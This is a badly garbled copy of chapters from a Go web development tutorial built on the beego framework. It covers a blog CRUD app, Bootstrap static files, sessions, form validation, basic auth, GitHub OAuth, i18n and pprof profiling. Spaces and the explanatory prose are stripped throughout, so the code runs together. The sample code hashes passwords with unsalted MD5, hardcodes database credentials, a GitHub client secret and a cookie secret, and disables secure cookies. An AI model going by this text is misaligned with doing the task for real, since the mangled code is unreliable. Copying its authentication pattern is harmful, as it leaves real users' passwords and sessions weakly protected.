Critical"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionorloss"

levellevel=LevelWarningTraceDebugInfo

beego

beegokey=valueinimapstringint

ini

var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})

//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}

key=value

//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}

cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}

cfg.Lock()defercfg.Unlock()deferfile.Close()

varcommentbytes.Bufferbuf:=bufio.NewReader(file)

fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}

off+=int64(len(line))

ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}

val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}

key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}

boolintfloat64string

//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}

//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}

//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}

//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]}

urljson

funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}

}

beego.Critical beego.AppConfig.String("url")(app.conf)

appname=hsurl="http://www.api.com/api.html"

links

: controller:

13.5beegobeego

.├──controllers│├──delete.go│├──edit.go│├──index.go│├──new.go│└──view.go├──main.go├──models│└──model.go└──views├──edit.tpl

├──index.tpl├──layout.tpl├──new.tpl└──view.tpl

//beego.Router("/",&controllers.IndexController{})//beego.Router("/view/:id([0-9]+)",&controllers.ViewController{})//beego.Router("/new",&controllers.NewController{})//beego.Router("/delete/:id([0-9]+)",&controllers.DeleteController{})//beego.Router("/edit/:id([0-9]+)",&controllers.EditController{})

CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));

IndexController:

typeIndexControllerstruct{beego.Controller}

func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}

ViewController:

typeViewControllerstruct{beego.Controller}

func(this*ViewController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"}

NewController

typeNewControllerstruct{beego.Controller}

func(this*NewController)Get(){this.Layout="layout.tpl"

this.TplNames="new.tpl"}

func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

EditController

typeEditControllerstruct{beego.Controller}

func(this*EditController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}

func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

DeleteController

typeDeleteControllerstruct{beego.Controller}

func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}

model

packagemodels

import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")

typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}

funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}

funcGetAll()(blogs[]Blog){db:=GetLink()

db.FindAll(&blogs)return}

funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}

funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}

funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}

view

layout.tpl

<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;}</style></head><body>

<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li>

</ul>

{{.LayoutContent}}

</body></html>

index.tpl

<h1>Blogposts</h1>

<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>

view.tpl

<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>

{{.Post.Content}}

new.tpl

<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"><br> <textareaname="content"colspan="3"rowspan="10"></textarea>

<inputtype="submit"></form>

edit.tpl

<h1>Edit{{.Post.Title}}</h1>

<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"value="{{.Post.Title}}"><br> <textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>

links

::

13.6GoGohttpMVCControllercontrollerRESTtornadolayoutGobeegogithubbeego

links

:

: Web

14 WebWebMVCWebWebtwitterbootstrapsessionmodelhttpbasichttpdigesti18nGopprof

beegoWebbeego

links

::

14.1

beegotwitterhtmlcssbootstrap

beego

Gonet/http ServeFileFileServerbeego

//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}

StaticDirurlURLurlhttp.ServeFile

beego.StaticDir["/asset"]="/static"

urlhttp://www.beego.me/asset/bootstrap.css/static/bootstrap.css

bootstrap

BootstrapTwitterBootstrapWebCSSHTMLHTML5Web

BootstrapWebJavascriptBootstrap13jQueryBootstrap“”BootstrapCSS

14.1bootstrap

bootstrapbeego

1. bootstrapstatic

14.2

2. beegoStaticDirstatic

StaticDir["/static"]="static"

3.

//css

<linkhref="/static/css/bootstrap.css"rel="stylesheet">

//js<scriptsrc="/static/js/bootstrap-transition.js"></script>

//<imgsrc="/static/img/logo.png">

bootstrapbeego

14.3bootstrap

bootstrapbootstrap

links

: Web: Session

14.2Session

GosessionsessionMangerbeegosessionManagersession

session

beegosession

//relatedtosessionSessionOnbool//sessionSessionProviderstring//sessionsessionManagermemory

SessionNamestring//cookiesSessionGCMaxLifetimeint64//cookies

GlobalSessions*session.Manager//session

ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val}else{SessionGCMaxLifetime=3600

}

beego.Run

ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}

SessionOntruesessiongoroutinesession

Controllersession beego.Controller

func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}

session

beegosession

mainsession

beego.SessionOn=true

session

func(this*MainController)Get(){varintcountintsess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="astaxie@gmail.com"this.Data["Count"]=intcountthis.TplNames="index.tpl"}

session

1. session

//,PHPsession_start()sess:=this.StartSession()

1. sessionsession

//sessionPHP $_SESSION["count"]sess.Get("count")

//sessionsess.Set("count",intcount)

beegosessionPHP session_start()

links

::

14.3Web

HTML

Gostructbeegoformstruct

Webstructformstructtag

typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`Ageint`form:text,valid:required|numeric`

Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}

structcontroller

func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}

<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>

struct

func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}

form

text No textbox

button No

checkbox No

dropdown No

file No

hidden No

password No

radio No

textarea No

required No FALSE

matches Yes FALSE matches[form_item]

is_unique Yes

Falseis_unique[User.Email]UserEmailfalseCallback

is_unique[table.field]

min_length Yes FALSE min_length[6]

max_length Yes FALSE max_length[12]

exact_length Yes FALSE exact_length[8]

greater_than Yes FALSE greater_than[8]

less_than Yes FALSE less_than[8]

alpha No FALSE

alpha_numeric No FALSE

alpha_dash No ///FALSE

numeric No FALSE

integer No FALSE

decimal Yes FALSE

is_natural No FALSE0,1,2,3....

is_natural_no_zero No FALSE1,2,3.....

valid_email No emailFALSE

valid_emails No emailFALSE

valid_ip No IPFALSE

valid_base64 No base64FALSE

links

: Session

:

14.4Web

HTTPBasicHTTPDigestQQOPENIDgooglegithubfacebooktwittersessioncookie

beegobeego

HTTPBasic HTTPDigest

github.com/abbot/go-http-auth

beego

packagecontrollers

import("github.com/abbot/go-http-auth""github.com/astaxie/beego")

funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}

typeMainControllerstruct{beego.Controller}

func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="astaxie@gmail.com"this.TplNames="index.tpl"}

beegopreparehttpauthdigest

oauth oauth2

oauthoauth2QQ

github.com/bradrydzewski/go.auth

beegooauthgithub

1.

beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})

2. GithubController```Go

packagecontrollers

import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth")

const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")

typeGithubControllerstruct{beego.Controller}

func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

githubHandler:=auth.Github(githubClientKey,githubSecretKey)

githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}

3.```Go

packagecontrollers

import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http"

"net/url")

typePageControllerstruct{beego.Controller}

func(this*PageController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

user,err:=auth.GetUserCookie(this.Ctx.Request)

//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}

//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}

14.4

14.5github

Authorizeapp

14.6github

sessionbeego

//func(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=nowmodels.UpdateUserInfo(users)

//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)

this.Ctx.Redirect(302,"/")}}

//func(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"return}

passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"return}

md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)

ifuserInfo.Username==""{varusersmodels.Userusers.Username=usernameusers.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)

//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}

}

funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}

funccheckUsername(usernamestring)(bbool){

ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}

func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")return}this.Data["Username"]=sess_username}

links

::

14.5go-i18nbeego

i18n

beego

Translationi18n.ILLangstring//zhenLangPathstring//

:

funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}

beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{

s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}

1. i18n

beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()

2.

jsonLangPathzh.jsonen.json

#zh.json

{"zh":{"submit":"" ,"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

3.

controller

func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}

//{{.create|Trans}}

//{{.time|TransDate}}

//{{.money|TransMoney}}

links

:

: pprof

14.6pprofGo

net/http/pprof

runtime/pprof

net/http/pprofruntime/pprofhttp

beego pprof

beegopprofgoroutineGo"net/http/pprof"GoWebbeegoServHTTPbeegopprof

beego.Run

ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}

ProfConterller```Go

packagebeego

import("net/http/pprof"

)

typeProfControllerstruct{Controller}

func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Request)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}

##

pprof```Go

beego.PprofOn=true

URL

14.7goroutineheapthread

goroutine

14.8goroutine

gotoolpprofhttp://localhost:8080/debug/pprof/profile

30profilecpu

(pprof)top10

Total:3samples

133.3%33.3%133.3%MHeap_AllocLocked

133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors

133.3%100.0%133.3%runtime.sigprocmask

00.0%100.0%133.3%MCentral_Grow

00.0%100.0%266.7%main.Compile

00.0%100.0%266.7%main.compile

00.0%100.0%266.7%main.run

00.0%100.0%133.3%makeslice1

00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP

00.0%100.0%266.7%net/http.(*conn).serve

(pprof)web

14.9

links

::

14.7beegobeegobootstrapbeegosessionManagerbeegosessionGostructWebhttpbasichttpdigestbeegobeegogo-i18nWebGopprofpprofbeegopprofpprofbeegobeegoWeb

links

: pprof

AGoWeb

1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. Go7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ10. NetworkprogrammingwithGo11. RESTful

Recommended